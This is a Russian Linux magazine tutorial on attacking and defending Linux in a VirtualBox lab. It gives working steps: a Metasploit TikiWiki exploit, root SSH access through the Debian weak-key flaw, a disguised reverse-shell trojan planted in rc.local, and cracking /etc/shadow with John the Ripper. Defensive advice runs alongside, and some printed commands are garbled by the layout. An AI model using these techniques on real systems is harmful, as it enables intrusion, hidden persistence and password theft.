Журнал LinuxFormat - перейти на главную

LXF154:Изучите взлом

Материал из Linuxformat
Перейти к: навигация, поиск

Содержание

Изу­чи­те взлом

Бен Эве­рард по­ли­ва­ет гря­зью за­щит­ную безо­пас­ность.

В ком­пь­ю­тер­ной безо­пас­но­сти есть два пра­ви­ла: пер­вое — не по­ку­пай­те ком­пь­ю­тер, а вто­рое — ес­ли уж вы его ку­пи­ли, ни в ко­ем слу­чае не вклю­чай­те его. От­сту­пив от этих пра­вил, вы на­ры­вае­тесь на по­тен­ци­аль­ные про­бле­мы. Ни од­на сис­те­ма не за­щи­ще­на от ха­ке­ров на 100 %, од­на­ко ес­ли сле­до­вать несколь­ким про­стым ша­гам, то взло­мать вас станет на­мно­го сложнее.

Взлом, он же хак – это ис­кусст­во по­лу­чить доступ к за­прет­ной для вас ком­пь­ю­тер­ной сис­те­ме. Те, кто прак­ти­ку­ет взлом, ис­поль­зу­ют ошиб­ки и сбои в про­грам­мах, что­бы за­ста­вить их ра­бо­тать не так, как они долж­ны. Мы рас­смот­рим два при­ме­няе­мых ими ме­то­да и по­ка­жем, как не стать жерт­вой. Мы по­лу­чим доступ ад­минист­ра­то­ра к сис­те­ме, по­зво­ляю­щий нам де­лать все, что за­хо­чет­ся – от кра­жи ин­фор­ма­ции до сти­рания всей ин­фор­ма­ции с дис­ков.


Ата­ки ре­аль­ны и на­це­ле­ны на ре­аль­ную сис­те­му Linux (хо­тя в на­шем слу­чае бу­дет ис­поль­зо­ва­на уста­рев­шая сис­те­ма). [продолжение на стр. 26]Чи­тай­те, и вы уз­нае­те, как взлом­щик мо­жет ук­расть дан­ные или весь ваш ком­пь­ю­тер – и как за­щи­тить свою сис­те­му. Что­бы за­щи­тить­ся, на­до знать, от че­го за­щи­ща­ешь­ся.

Шаг за шагом: Установка виртуальной сети

1. Ска­чай­те ди­ст­ри­бу­тив

Мы бу­дем ис­поль­зо­вать BackTrack и Metasploitable. ISO-об­раз Backtrack 5 на­хо­дит­ся на www.backtrack-linux.org/downloads/, а об­раз Metasploitable для же­ст­ко­го дис­ка VirtualBox – на www.sourceforge.net/projects/virtualhacking/files/os/metasploitable/.

2. За­пусти­те Virtualbox

Ус­та­но­ви­те Virtualbox. В боль­шин­ст­ве ди­ст­ри­бу­ти­вов долж­ны быть па­ке­ты для него; ес­ли в ва­шем их нет, уста­но­воч­ные фай­лы мож­но взять на www.virtualbox.org. Зай­ди­те в File > Preferences и вы­бе­ри­те Network. Ес­ли спи­сок се­тей пуст, на­жми­те на зна­чок +, и поя­вит­ся сеть vboxnet0.

3. Соз­дай­те ма­ши­ну

Соз­дай­те но­вую ма­ши­ну под именем BackTrack. В ка­че­­ст­ве ОС вы­бе­ри­те Linux, а вер­сии – Ubuntu. На­значь­те ей по крайней ме­ре 730 МБ па­мя­ти, а на эк­ране Virtual Hard Disk сними­те га­лоч­ку с Boot Hard Disk. На пре­ду­пре­ж­дение от­веть­те Continue, за­тем на­жми­те Create.

4. Вклю­чи­те адап­те­ры

Щелкните пра­вой кноп­кой по New Virtual Machine и зай­ди­те в Settings. Вы­бе­ри­те Network, про­верь­те, что адап­тер 1 – Enabled и Attached To NAT, а адап­тер 2 – Enabled и Attached To Host-only Adapter. Два­ж­ды щелкните по ма­шине. В мас­те­ре First Run, на­жми­те на BackTrack ISO (Что­бы занести в спи­сок CD/DVD Images, на­жми­те Add). В при­гла­шении Boot на­жми­те ввод, и еще раз ввод, что­бы вы­брать BackTrack Text – Default Boot Text Mode.

5.При­го­товь­те жерт­ву

В команд­ной стро­ке вве­ди­те startx, что­бы за­пустить окон­ный менед­жер. Сей­час по­ра го­то­вить ма­ши­ну-жерт­ву – в окне VirtualBox на­жми­те New, что­бы соз­дать но­вую вир­ту­аль­ную ма­ши­ну. От­дай­те ей при­мер­но чет­верть па­мя­ти ва­ше­го ком­пь­ю­те­ра, а на эк­ране Virtual Hard Disk щелкните по Use Existing Hard Disk и вы­бе­ри­те Metasploitable.vmdk, ко­то­рый был раз­ар­хи­ви­ро­ван на пер­вом ша­ге.

6. По­ра втор­гать­ся

Щелкните пра­вой кноп­кой по вир­ту­аль­ной ма­шине Metasploitable и вы­бе­ри­те Settings. В спи­ске сле­ва вы­бе­ри­те System, за­тем на вклад­ке Motherboard вклю­чи­те Enable IO APIC, а на вклад­ке Processor – Enable PAE/NX. В Network, как в и BackTrack, вы­бе­ри­те Host-only Adapter. Те­перь два­ж­ды щелкните по вир­ту­аль­ной ма­шине. Она за­гру­зит­ся в тек­сто­вый эк­ран вхо­да – на­счет де­та­лей вхо­да не вол­нуй­тесь: мы ведь бу­дем осуществлять вторжение.



Ата­ка на сер­вер

Когда го­во­рят о взло­ме, мно­гие пред­став­ля­ют че­ло­ве­ка за под­клю­чен­ным к се­ти ком­пь­ю­те­ром, ко­то­рый ата­ку­ет дру­гой ком­пь­ю­тер в се­ти и по­лу­ча­ет к нему доступ. Это мы понима­ем под ата­кой сер­ве­ра. Как сред­ст­во взло­ма мы бу­дем ис­поль­зо­вать ди­ст­ри­бу­тив BackTrack, спе­ци­аль­но за­то­чен­ный под тес­ты втор­жения (эле­гант­ное на­звание взло­ма соб­ст­вен­ной сис­те­мы). Об­раз дис­ка вир­ту­аль­ной ма­ши­ны под на­званием Metasploitable, спе­ци­аль­но сде­лан­ный уяз­ви­мым для атак, бу­дет на­шей жерт­вой.

Metasploit Framework – сис­те­ма для сбо­ра всех уяз­ви­мо­стей, дыр в безо­пас­но­сти, сис­тем сканиро­вания и ра­бо­чих на­гру­зок в од­ной по­су­де. Это ути­ли­та команд­ной стро­ки, но мы бу­дем ис­поль­зо­вать ее че­рез гра­фи­че­­ский ин­тер­фейс. На ма­шине BackTrack за­пусти­те Applications > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > Armitage. В но­вом окне на­жми­те Start MSF и по­до­ж­ди­те, когда от­кро­ет­ся основ­ное ок­но про­грам­мы.

Пе­рей­ди­те в Hosts > Nmap Scan > Intense Scan и в от­вет на за­прос вве­ди­те диа­па­зон IP-ад­ре­сов 192.168.56.0/24 (ес­ли вы ме­ня­ли па­ра­мет­ры DHCP-сер­ве­ра VirtualBox, ва­ше зна­чение бу­дет дру­гим) и по­до­ж­ди­те, по­ка про­грам­ма не объ­я­вит о за­вер­шении сканиро­вания.

При этом об­на­ру­жит­ся че­ты­ре хоста: один для хосто­вой ма­ши­ны, один для DHCP-сер­ве­ра, один для ма­ши­ны BackTrack и один – для сер­ве­ра Metasploitable. Что­бы по­нять, ка­кие ата­ки мы смо­жем про­вер­нуть на этих хостах, пе­рей­ди­те в Attacks > Find Attacks > By Port и по­до­ж­ди­те, по­ка не уви­ди­те со­об­щение Attack Analysis Complete. Са­мая слож­ная часть ата­ки на сер­вер – уз­нать, ка­кую имен­но уяз­ви­мость нуж­но ис­поль­зо­вать. В на­шем слу­чае нам из­вест­но, что жерт­ва за­пусти­ла TikiWiki, где со­дер­жит­ся уяз­ви­мость в PHP, по­зво­ляю­щая вы­полнить код нашего эксплойта.

Щелкните пра­вой кноп­кой по хосту Metasploitable (ес­ли вы не уве­ре­ны, какой это хост, от­крой­те тер­ми­нал и вве­ди­те ifconfig. Вы­ве­дет­ся IP-ад­рес те­ку­щей ма­ши­ны. Ма­ши­на-хост бу­дет иметь IP 192.168.56.1, у DHCP-сер­ве­ра это 192.168.56.100, а остав­ший­ся – у сер­ве­ра Metasploitable) и пе­рей­ди­те в Attack > webapp > Tikiwiki_graph_formula_exec. Убе­див­шись, что LHOST при­сво­ен IP ма­ши­ны BackTrack, на­жми­те на за­пуск. По­сле за­пуска экс­плой­та зна­чок хоста дол­жен стать крас­ным, что знамену­ет успех опе­ра­ции. Сно­ва щелкните пра­вой кноп­кой по знач­ку хоста и вы­бе­ри­те Shell > Interact. От­кро­ет­ся вклад­ка – минималь­ная обо­лоч­ка, за­пу­щен­ная на ма­шине-жерт­ве. Для про­вер­ки вве­ди­те whoami, и вы уз­нае­те, что взло­ма­ли поль­зо­ва­те­ля www-data. Эта обо­лоч­ка ог­ра­ниче­на – вы не смо­же­те ис­поль­зо­вать cd для пе­ре­хо­да в дру­гой ка­та­лог, од­на­ко неко­то­рую ин­фор­ма­цию из­влечь уда­ст­ся. На­при­мер, за­пустив

ls /home

мы уз­на­ем спи­сок поль­зо­ва­те­лей сис­те­мы. Metasploitable со­б­ран на Ubuntu 8.04, а в Ubuntu вер­сий 7.04 – 8.04 су­ще­ст­во­ва­ла про­бле­ма генера­то­ра клю­чей SSH. Он соз­да­вал клю­чи с по­мо­щью генера­то­ра слу­чай­ных чи­сел, од­на­ко для за­трав­ки генера­то­ра брал­ся ID про­цес­са. По­сколь­ку ко­ли­че­­ст­во про­цес­сов ог­раниче­но свер­ху чис­лом 37 768, то и клю­чей вы­ра­ба­ты­ва­лось не боль­ше. Это чис­ло до­воль­но ма­ло, и про­бить ключ лег­ко.

Пре­ж­де чем ид­ти в ата­ку, нуж­но уз­нать, с ка­ки­ми от­кры­ты­ми клю­ча­ми сис­те­ма пустит нас. Вернем­ся в обо­лоч­ку Armitage и вве­дем

cat /root/.ssh/authorized_keys

На вы­хо­де бу­дет 2048-раз­ряд­ный от­кры­тый ключ RSA, ав­то­ри­зо­ван­ный для вхо­да от имени root. Най­ди мы со­от­вет­ст­вую­щий за­кры­тый ключ, мы бы смог­ли SSH’нуть в учет­ную запись root без па­ро­ля. Обыч­но здесь слиш­ком мно­го нуж­но про­ве­рять, но по­сколь­ку нам из­вест­на сла­бость генера­то­ра клю­чей, круг про­ве­рок силь­но су­жа­ет­ся.

Все воз­мож­ные па­ры клю­чей доступ­ны на www.digitaloffense.net/tools/debian-openssl/. Восполь­зу­ем­ся ссыл­кой под именем SSH 2048-bit RSA Keys X86 (48.0M). Раз­ар­хи­ви­ру­ем этот файл, от­крыв тер­ми­нал и вы­полнив

tar xjf debian debian_ssh_rsa_2048_x86.tar.bz2

а за­тем пе­рей­ти в но­вый ка­та­лог ко­ман­дой:

cd rsa/2048

Сей­час в этом ка­та­ло­ге со­дер­жат­ся все па­ры клю­чей, ко­то­рые вы­да­ет де­фект­ный генера­тор клю­чей от Debian. Что­бы най­ти нуж­ную, вве­ди­те:

grep -li AAAAB3NzaC1yc2EAAAA BIwAAAQEApmGJFZNL0ibMNAL *.pub

где

AAAAB3NzaC1yc2EAAAABI wAAAQEApmGJFZNL0ibMNAL

– пер­вая часть от­кры­то­го клю­ча, ко­то­рый мы на­шли на сер­ве­ре: так как воз­мож­ных клю­чей немно­го, весь вво­дить необя­за­тель­но. Ко­ман­да об­на­ру­жит один файл клю­ча:

57c3115d77c5639o332dc5c49978627 a-5429.pub

Сей­час с по­мо­щью ко­ман­ды

ssh -i ~/rsa/2048/ 57c3115d77c5639o332dc 5c49978627a-5429 root@192.168.56.102

где

192.168.56.102

– это IP-ад­рес сер­ве­ра Metasploitable, мож­но вой­ти на сер­вер, при­чем у вас бу­дет доступ root, и вы смо­же­те про­из­во­дить лю­бые дей­ст­вия или красть лю­бые дан­ные.



За­щи­ти­те се­бя

Ес­ли ог­раничить чис­ло служб, доступ­ных на ва­шем сер­ве­ре, толь­ко на­сущ­но необ­хо­ди­мы­ми, безо­пас­ность воз­рас­тет. На­при­мер, ес­ли вы за­пусти­ли толь­ко HTTP, SSH и SFTP, но не Telnet и FTP, вы тем са­мым снизи­ли на 40 % ко­ли­че­­ст­во по­тен­ци­аль­но уяз­ви­мых сер­ви­сов по сравнению с си­туа­ци­ей, когда ра­бо­та­ют все пять, не умень­шив объ­ем воз­мож­но­стей, доступ­ных для поль­зо­ва­те­лей. Что­бы про­вес­ти ата­ку, мы ис­поль­зо­ва­ли из­вест­ные ата­ки на уста­рев­шие про­грам­мы, и ключ к са­мо­за­щи­те – всегда при­ме­нять за­плат­ки безо­пас­но­сти. Плюс к то­му, мож­но про­ве­рять ком­пь­ю­те­ры на пред­мет из­вест­ных дыр безо­пас­но­сти с по­мо­щью сканеров уяз­ви­мо­стей, на­при­мер Nessus (www.nessus.org). Nessus – ком­мер­че­­ская про­грам­ма, но для до­машнего ис­поль­зо­вания бес­плат­на. По­сле уста­нов­ки вам по­тре­бу­ет­ся за­ре­ги­ст­ри­ро­вать­ся на сай­те. На поч­ту вам вы­шлют ключ вме­сте с ин­ст­рук­ци­ей, как ак­ти­ви­ро­вать про­грам­му и до­ба­вить поль­зо­ва­те­ля. По­сле это­го вы по­лу­чи­те доступ к про­грам­ме че­рез web-ин­тер­фейс на http://localhost:8834.

За­плат­ки безо­пас­но­сти и сканеры за­щи­тят вас толь­ко от из­вест­ных уяз­ви­мо­стей. Ата­ки Zero-day – Дня Нуль – те, что про­ис­хо­дят до то­го, как со­об­ще­ст­во за­ме­тит и ис­пра­вит уяз­ви­мость. Про­тив них оборонять­ся го­раз­до сложнее.

Мак­си­маль­но за­щи­тив свое ПО, мож­но за­од­но на­стро­ить сис­те­му на от­сле­жи­вание по­доз­ри­тель­ной ак­тив­но­сти. Сис­те­ма пре­дот­вра­щения втор­жений в сеть [Network Intrusion Prevention System, NIPS], по­одоб­ная Snort, сле­дит за се­те­вой ак­тив­но­стью и док­ла­ды­ва­ет о необыч­ных под­клю­чениях. Мы тес­ти­ро­ва­ли ее, за­пустив сканиро­вание в ата­ке, опи­сан­ной вы­ше, на Security Onion (ди­ст­ри­бу­тив, в ко­то­ром Snort уста­нов­ле­на по умол­чанию), и она за­ре­ги­ст­ри­ро­ва­ла 278 со­бы­тий, касающихся безо­пас­но­сти. Ес­ли за­пустить сис­те­му, по­доб­ную этой, и сле­дить за необыч­ны­ми со­бы­тия­ми, вы смо­же­те рас­по­знать по­тен­ци­аль­ные ата­ки до их на­ча­ла.

Од­на из двух на­ших атак про­из­во­ди­лась про­тив web-при­ло­жения (TikiWiki) – та­кой тип про­грамм очень по­пу­ля­рен у ха­ке­ров. В них пол­но дыр безо­пас­но­сти, мно­гие из ко­то­рых обя­за­ны пло­хой про­вер­ке в по­лях вво­да, что по­зво­ля­ет взлом­щи­кам вы­пол­нять про­из­воль­ный код. В слу­чае web-при­ло­жений ис­поль­зо­вать са­мые по­следние вер­сии еще важнее, так как ес­ли уяз­ви­мость из­вест­на, то про­вес­ти ата­ку – па­ра пустя­ков.

Ата­ку­ем пер­со­наль­ный ком­пь­ю­тер

С точ­ки зрения ха­ке­ра, глав­ное от­ли­чие пер­со­наль­но­го ком­пь­ю­те­ра от сер­ве­ра в том, что у сер­ве­ра от­кры­то мно­же­ст­во пор­тов (на­при­мер, http или FTP), а у на­столь­ной сис­те­мы – нет. Это оз­на­ча­ет, что при ата­ке на­столь­но­го ком­пь­ю­те­ра при­хо­дит­ся при­ме­нять дру­гой под­ход. По­лу­чив фи­зи­че­­ский доступ к ком­пь­ю­те­ру, из­влечь из него дан­ные про­сто. Про­стей­ший спо­соб – вста­вить live-ди­ст­ри­бу­тив в CD-при­вод или порт USB, за­гру­зить­ся и при­мон­ти­ро­вать же­ст­кий диск. Это даст вам абсолютный кон­троль над всем же­ст­ким дис­ком. Но ес­ли поль­зо­ва­тель за­бо­тит­ся о безо­пас­но­сти и за­шиф­ро­вал диск, це­ли­ком или час­тично, то за­да­ча услож­ня­ет­ся.

В неко­то­рых ди­ст­ри­бу­ти­вах (на­при­мер, Ubuntu) у поль­зо­ва­те­ля есть воз­мож­ность за­шиф­ро­вать свой до­машний ка­та­лог. То есть ес­ли вы за­гру­зи­тесь с live-ди­ст­ри­бу­ти­ва, в корневом раз­де­ле вы уви­ди­те об­щие дан­ные, но не фай­лы поль­зо­ва­те­ля. До сих пор еще неиз­вест­ны взло­мы со­вре­мен­ных ал­го­рит­мов шиф­ро­вания, но это не зна­чит, что у нас нет воз­мож­но­сти проник­нуть к данным; за­да­ча про­сто ста­но­вит­ся бо­лее хит­рой. Сей­час мы при­ве­дем на ком­пь­ю­тер тро­ян­ско­го ко­ня, что по­зво­лит нам по­лу­чить доступ к фай­лам по­сле то­го, как поль­зо­ва­тель при­мон­ти­ру­ет раз­дел.

Это мож­но по­пы­тать­ся про­де­лать с ис­поль­зо­ванием VirtualBox. На­ши ша­ги ра­бо­та­ют с Ubuntu в ка­че­­ст­ве ди­ст­ри­бу­ти­ва-жерт­вы, и BackTrack – ди­ст­ри­бу­ти­ва ха­ке­ра, но мо­же­те взять и дру­гие, ес­ли в них есть со­от­вет­ст­вую­щие воз­мож­но­сти. У жерт­вы дол­жен быть за­шиф­ро­ван­ный до­машний ка­та­лог, а ата­кую­щей сис­те­ме тре­бу­ет­ся Metasploit Framework. Сна­ча­ла соз­дай­те вир­ту­аль­ную ма­ши­ну с уста­нов­лен­ной по­следней вер­си­ей Ubuntu и по­за­боть­тесь, что­бы на эта­пе соз­дания поль­зо­ва­те­ля бы­ло вы­бра­но Encrypt My Home Folder. Се­те­вой адап­тер ма­ши­ны дол­жен быть уста­нов­лен Host-only.

Ус­та­но­вив опе­ра­ци­он­ную сис­те­му и за­пустив вир­ту­аль­ную ма­ши­ну, зай­ди­те в Devices > CD/DVD Devices, убе­ди­тесь, что Ubuntu install CD не вы­бран, а вме­сто него вы­бе­ри­те BackTrack ISO. Пе­ре­за­гру­зи­те сис­те­му. BackTrack по­ве­дет се­бя тем же об­ра­зом, что live CD на ком­пь­ю­те­ре с уста­нов­лен­ным Ubuntu. На странице Boot Options на­жми­те ввод, что­бы вы­брать BackTrack Text – Default Boot Text Mode. По умол­чанию вход в сис­те­му бу­дет под поль­зо­ва­те­лем root в тек­сто­вом ок­ру­жении. Что­бы за­пустить ра­бо­чий стол, вве­ди­те:

startx

Нам нуж­но при­мон­ти­ро­вать диск с Ubuntu, так что от­крой­те тер­ми­нал (Ctrl+Alt+T) и вве­ди­те команду

mkdir /mnt/victim

mount /dev/sda1 /mnt/victim

Сей­час вы мо­же­те пе­ре­ме­щать­ся по же­ст­ко­му дис­ку, но при по­пыт­ке зай­ти в до­машний ка­та­лог вы уви­ди­те толь­ко лишь тек­сто­вый файл, где го­во­рит­ся, что со­дер­жи­мое ка­та­ло­га за­шиф­ро­ва­но.

На­строй­те ата­кую­щий ком­пь­ю­тер тем же спо­со­бом, что бы­ло про­де­ла­но при ата­ке сер­ве­ра. Для оп­ре­де­ления IP-ад­ре­са за­пусти­те ifconfig.

На ма­шине-жерт­ве соз­дай­те тро­ян­ско­го ко­ня – в на­шем слу­чае это об­рат­ная tcp обо­лоч­ка [reverse tcp shell] – с по­мо­щью msfpayload, вве­дя

msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.56.101 LPORT=443 X > /mnt/victim/bin/UbuntuUpdate

где 192.168.56.101 – IP-ад­рес ата­кую­щей ма­ши­ны. Эта ко­ман­да соз­да­ет ис­пол­няе­мый файл под на­званием UbuntuUpdate (на­звание вы­гля­дит без­обид­но, и у поль­зо­ва­те­ля не возникнет по­доз­рений, когда он уви­дит ее в спи­ске про­цес­сов), ко­то­рая под­клю­чит­ся к ата­кую­щей ма­шине на порт 443. Сде­ла­ем ее ис­пол­няе­мой:

chmod +x /mnt/victim/bin/UbuntuUpdate

Те­перь нам нуж­но ее за­пус­тить. В ва­шем тек­сто­вом ре­дак­то­ре до­бавь­те в файл /mnt/victim/etc/rc.local стро­ку

/bin/UbuntuUpdate

не­по­сред­ст­вен­но пе­ред стро­кой

exit 0

Этот файл вы­пол­ня­ет­ся при ка­ж­дой за­груз­ке ком­пь­ю­те­ра. Под­го­то­вив ком­пь­ю­тер жерт­вы, на­стро­им ата­кую­щий ком­пь­ю­тер на про­слу­ши­вание со­единения. От­крой­те на нем тер­ми­нал и вве­ди­те

msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.56.101 LPORT=443 E

Что­бы на­чать ата­ку, пе­ре­за­гру­зи­те ком­пь­ю­тер-жерт­ву без live CD (в ме­ню вир­ту­аль­ной ма­ши­ны зай­ди­те в Devices > CD/DVD Devices и сними­те га­лоч­ку у BackTrack CD). Как толь­ко вы по­па­дае­те на эк­ран вхо­да, возника­ет связь со взлом­щи­ком. В тер­ми­на­ле, где был за­пу­щен msfcli, вы долж­ны по­лу­чить доступ к ком­пь­ю­те­ру-жерт­ве (при­гла­шения команд­ной стро­ки нет). Ес­ли вве­сти ко­ман­ду whoami, вы в от­вет по­лу­чи­те root.

Так как rc.local за­пу­щен с пра­ва­ми су­пер­поль­зо­ва­те­ля, это от­ра­жа­ет­ся на на­шем уда­лен­ном се­ан­се. Из уда­лен­но­го тер­ми­на­ла мы смо­жет обо­зре­вать фай­лы, до­бав­лять поль­зо­ва­те­лей и де­лать все, что нам за­бла­го­рас­су­дит­ся. Од­на­ко нам не уда­ст­ся при­мон­ти­ро­вать до­машний ка­та­лог, не зная па­ро­ля поль­зо­ва­те­ля, так что сле­ду­ет по­до­ж­дать, по­ка поль­зо­ва­тель не вой­дет в сис­те­му. Как толь­ко поль­зо­ва­тель вве­дет свой па­роль на ком­пь­ю­те­ре-жерт­ве, сис­те­ма при­мон­ти­ру­ет за­шиф­ро­ван­ный том, и мы смо­жем обо­зре­вать, ре­дак­ти­ро­вать или уда­лять фай­лы, как буд­то их и не шиф­ро­ва­ли.

Ус­та­нов­ка па­ро­ля BIOS

Мож­но пре­дот­вра­тить за­груз­ку ма­ши­ны с live-ди­ст­ри­бу­ти­вом, уда­лив оп­ции CD и USB из спи­ска за­груз­ки в BIOS, а за­тем уста­но­вив па­роль BIOS, что­бы взлом­щик не смог вер­нуть их об­рат­но. Бо­лее це­ле­на­прав­лен­ный взлом­щик, тем не менее, спо­со­бен вы­та­щить при­вод из ком­пь­ю­те­ра и под­клю­чить его к дру­го­му, где он смо­жет его при­мон­ти­ро­вать. Един­ст­вен­ный спо­соб пол­но­стью ог­ра­дить се­бя от ата­ки та­ко­го ви­да – за­шиф­ро­вать же­ст­кий диск це­ли­ком и за­дать хо­ро­ший па­роль.

Боль­шин­ст­во основ­ных ди­ст­ри­бу­ти­вов под­дер­жи­ва­ют пол­ное шиф­ро­вание дис­ка. Вклю­чение его при уста­нов­ке обыч­но дости­га­ет­ся вы­бо­ром оп­ции Encrypted LVM на ста­дии раз­бив­ки дис­ка. Поль­зо­ва­те­лям Ubuntu при­дет­ся для это­го ис­поль­зо­вать аль­тер­на­тив­ный уста­но­воч­ный CD, по­сколь­ку в обыч­ной уста­нов­ке дан­ная оп­ция не под­дер­жи­ва­ет­ся. На­до это вам или нет, за­ви­сит от ве­ро­ят­но­сти по­па­дания ком­пь­ю­те­ра в ру­ки взлом­щи­ка и цен­но­сти ин­фор­ма­ция на нем. Как пра­ви­ло, но­ут­бу­ки уяз­ви­мее на­столь­ных ком­пь­ю­те­ров, ведь их те­ря­ют и кра­дут на­мно­го ча­ще.

В на­шем при­ме­ре мы по­ка­за­ли, как взлом­щик мо­жет уста­но­вить тро­ян­ско­го ко­ня; од­на­ко он мо­жет достиг­нуть то­го же эф­фек­та, хит­ро­стью за­ста­вив поль­зо­ва­те­ля за­пустить про­грам­му. Тро­ян мо­жет быть да­же вклю­чен в файл DEB или RPM, или дру­гие про­грам­мы. Луч­ший спо­соб за­щи­тить се­бя от та­кой ата­ки – за­пускать про­грам­мы толь­ко из на­деж­ных, про­ве­рен­ных ис­точников: на­при­мер, из офи­ци­аль­ных ре­по­зи­то­ри­ев ва­ше­го ди­ст­ри­бу­ти­ва. Эти ис­точники долж­ны со­дер­жать крип­то­гра­фи­че­скую подпись, для га­ран­тии, что со­дер­жи­мое никем из­вне не ме­ня­лось. Съем­ные но­си­те­ли, ти­па USB-брел­ков, мо­гут со­дер­жать код, ав­то­ма­ти­че­­ски вы­пол­няе­мый при под­клю­чении но­си­те­ля, од­на­ко Linux дол­жен всегда вы­да­вать за­прос на под­твер­ждение, пре­ж­де чем за­пустить про­грам­му. Ес­ли вы не уве­ре­ны, что этот код за­кон­ный, не за­пускай­те его.

Ути­ли­та Tripwire мо­жет про­ве­рять, ка­кие фай­лы в сис­те­ме из­менены. При пер­вом за­пуске она соз­да­ет ба­зу дан­ных из хэ­шей всех фай­лов сис­те­мы, и за­тем поль­зо­ва­тель мо­жет за­пустить ее в лю­бое вре­мя и уз­нать, ка­кие фай­лы ме­ня­лись. Она не мо­жет со­об­щить, по­че­му они бы­ли из­менены (на­при­мер, бы­ло ли это на­стоя­щее об­нов­ление, или не за­гру­зил ли взлом­щик вре­до­носный код) – рас­по­зна­вание это­го уже пе­ре­кла­ды­ва­ет­ся на пле­чи поль­зо­ва­те­ля. При ис­поль­зо­вании фла­га -P ба­за дан­ных под­пи­сы­ва­ет­ся оп­ре­де­лен­ной фра­зой-па­ро­лем. Ес­ли это­го не сде­лать, взлом­щик смо­жет пе­ре­за­пи­сать ба­зу дан­ных хэ­ша­ми из­менен­ных фай­лов.

Вы­бор па­ро­ля

При неог­раничен­ном чис­ле по­пы­ток мож­но по­доб­рать лю­бой па­роль, од­на­ко хо­ро­ший па­роль под­би­рать на­столь­ко дол­го, что ко вре­мени, когда взлом­щик его най­дет, это ут­ра­тит важ­ность. На­при­мер, ес­ли пе­ре­би­рать 100 па­ро­лей в се­кун­ду, зная, что па­роль – сло­во из сло­ва­ря (Oxford English Dictionary со­дер­жит око­ло 200 000 слов), то на оты­скание па­ро­ля по­тре­бу­ет­ся 2000 се­кун­д, или 33 ми­ну­ты.


Оче­вид­но, нам хо­чет­ся, что­бы наш па­роль со­про­тив­лял­ся доль­ше – зна­чит, нуж­но быть менее пред­ска­зуе­мым. Ес­ли па­роль – слу­чай­ная стро­ка сим­во­лов, то чис­ло воз­мож­ных ком­би­на­ций – это чис­ло воз­мож­ных сим­во­лов в сте­пени их ко­ли­че­­ст­ва. На­при­мер, пя­ти­сим­воль­ная стро­ка из букв в нижнем ре­ги­ст­ре (26 ва­ри­ан­тов) мо­жет быть лю­бой из 26 * 26 * 26 * 26 * 26 = 11881376 воз­мож­ных ком­би­на­ций. При той же ско­ро­сти пе­ре­бо­ра это зай­мет 118,814 се­кунд, или 33 ча­са.

Ка­ж­дый до­бав­лен­ный к па­ро­лю сим­вол уве­ли­чит вре­мя пе­ре­бо­ра в 26 раз, то есть слу­чай­ный па­роль из шес­ти букв в нижнем ре­ги­ст­ре нуж­но под­би­рать 35 дней, а се­ми­сим­воль­ный – два с по­ло­ви­ной го­да. Конеч­но, здесь пред­по­ла­га­ет­ся, что ско­рость пе­ре­бо­ра – 100 про­ве­рок в се­кун­ду, а в дей­ст­ви­тель­но­сти она мо­жет быть на­мно­го боль­ше, или мень­ше, в за­ви­си­мо­сти от сис­те­мы. John The Ripper [Джон-по­тро­ши­тель, – прим. пер.] – это ути­ли­та взло­ма па­ро­лей, ко­то­рая мон­ти­ру­ет сло­вар­ные ата­ки на хэ­ши па­ро­лей. Обыч­но она по­став­ля­ет­ся в па­ке­те под на­званием John, и доступ­на на www.openwall.com/john/. Что­бы по­нять, на­сколь­ко бы­ст­ро вы мо­жете взла­мы­вать па­ро­ли, за­пусти­те эта­лон­ный тест, вве­дя

john --test

Это та ско­рость, при ко­то­рой вы смо­же­те взло­мать па­ро­ли, когда у вас есть хэ­ши; ата­ка гру­бой си­лы по се­ти бу­дет на­мно­го мед­леннее.

Вме­сто то­го, что­бы уве­ли­чи­вать дли­ну па­ро­ля, вы мо­же­те рас­ши­рить ко­ли­че­­ст­во ис­поль­зуе­мых сим­во­лов. На­при­мер, стро­ка из пя­ти сим­во­лов, со­дер­жа­щая циф­ры и бу­к­вы в обо­их ре­ги­ст­рах, мо­жет принимать лю­бую из 62 * 62 * 62 * 62 * 62 воз­мож­но­стей, то есть где-то 92 000 000 штук. При той же ско­ро­сти пе­ре­бо­ра это зай­мет 916132 се­кунд, или 10,6 дней, а шес­ти- и се­ми­сим­воль­ный па­ро­ли – 1,8 и 112 лет, со­от­вет­ст­вен­но.

Про­бле­ма с труд­но­взла­мы­вае­мы­ми па­ро­ля­ми обыч­но в том, что их, как пра­ви­ло, очень слож­но за­по­ми­нать. Од­но из ре­шений, пред­ло­жен­ное Рэн­дел­лом Ман­ро [Randall Munroe] на xkcd.com – ис­поль­зо­вание мно­го­слов­ных па­ро­лей, на­при­мер, несколь­ко не свя­зан­ных ло­ги­че­­ски слов в нижнем ре­ги­ст­ре, стоя­щих вме­сте. В пред­по­ло­жении, что взлом­щик зна­ет струк­ту­ру слов, па­роль мож­но рас­смат­ри­вать как стро­ку из че­ты­рех «сим­во­лов», где ка­ж­дый «сим­вол» пред­став­ля­ет со­бой сло­во. Ес­ли ог­раничить­ся дву­мя ты­ся­ча­ми рас­хо­жих слов, то чис­ло по­тен­ци­аль­ных па­ро­лей рав­но 2000 * 2000 * 2000 * 2000, то есть 16 трил­лио­нов, взло­мать ко­то­рые при тех же усло­ви­ях зай­мет 160 мил­ли­ар­дов се­кунд, или 5073 го­да. Па­роль cameratrainingrassminister столь же безо­па­сен, как и 5Hjs9gE, но за­помнить его го­раз­до про­ще.

Один из спо­со­бов уз­нать, на­сколь­ко безо­па­сен ваш па­роль – по­пы­тать­ся взло­мать его с по­мо­щью John The Ripper. Сна­ча­ла за­пусти­те unshadow, что­бы со­че­тать /etc/passwd, со­дер­жа­щий де­та­ли учет­ной за­пи­си поль­зо­ва­те­ля, с /etc/shadow, ко­то­рый хранит хэ­ши па­ро­лей.

sudo unshadow /etc/passwd /etc/shadow > hashes

За­тем с по­мо­щью

john hashes

за­пус­ти­те John The Ripper.

